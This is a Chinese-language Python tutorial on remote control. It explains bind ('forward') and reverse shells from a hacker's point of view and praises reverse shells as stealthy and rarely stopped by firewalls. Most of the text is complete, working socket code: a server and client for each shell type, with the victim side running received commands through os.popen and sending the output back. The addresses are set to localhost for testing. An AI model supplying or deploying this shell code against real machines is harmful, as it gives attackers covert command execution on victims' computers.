python实现远程控制
准备
需要调用socket库,os库
概念原理
要实现远程控制就是要获取对方电脑的一个“shell”
它是操作系统中用于人机交互的部分,windows最常见的shell就是cmd。
Shell从控制方向上说分如下两类:
1.正向shell
.被控制的电脑做服务器,黑客的电脑作客户端
.因为服务器需要不间断运行所以容易被检测到;
.过程可能被防火墙拦截
2.反向shell
.被控制的电脑做客户端,黑客的电脑作服务器使用
.客户端不用常开,隐蔽性强
.一般不易被防火墙拦截
3.其他
os库用来让作为服务器端的被控制电脑执行客户端给出的命令
socket库用来建立两者之间的通信“管道”
实现代码
正向shell服务器代码示例
import socket
import os
s=socket.socket() #生成一个管道
s.bind(("0.0.0.0",7777)) #开启管道监听
s.listen(1) #选择接受的管道连接的个数
sock,addr=s.accept() #接收对方的地址
while 1:
command=sock.recv(1024).decode() #接收,解码
if command=="exit":
break
result=os.popen(command).read() #在系统中执行客户端发来的命令并读
sock.send(result.encode()) #读出来的执行结果发给客户端并加密
sock.close()
s.close()
正向shell客户端代码示例
import socket
s=socket.socket()
s.connect(("127.0.0.1",7777))
while 1:
command=input("指令:")
s.send(command.encode())
if command=="exit":
break
result=s.recv(65536).decode()
print(result)
s.close()
反向shell客户端代码示例
import socket
import os
s=socket.socket()
s.connect(("127.0.0.1",6666))
while 1:
command=s.recv(65536).decode()
if command=="exit":
break
if command.startswith("cd "):
dir=command[3:].strip()
try:
os.chdir(dir)
except:
pass
result=os.popen(command+" 2>&1").read() # 2>&1用于重定向输出,就是不报错
if result=="":
result="finished"
s.send(result.encode())
s.close()
反向shell服务器代码示例
import socket
s=socket.socket()
s.bind(("0.0.0.0",6666))
s.listen(1)
sock,addr=s.accept()
while 1:
while 1:
command=input("指令:")
if command.strip():
break
sock.send(command.encode())
if command=="exit":
break
result=sock.recv(65536).decode()
print(result)
sock.close()
s.close()
(注:作为服务器的端不要轻易打开,因为如上代码ip写作 0.0.0.0,任何人都可以登入,
而语法 s.listen()可以限制登入数量
以上为在本机做实验时的Ip)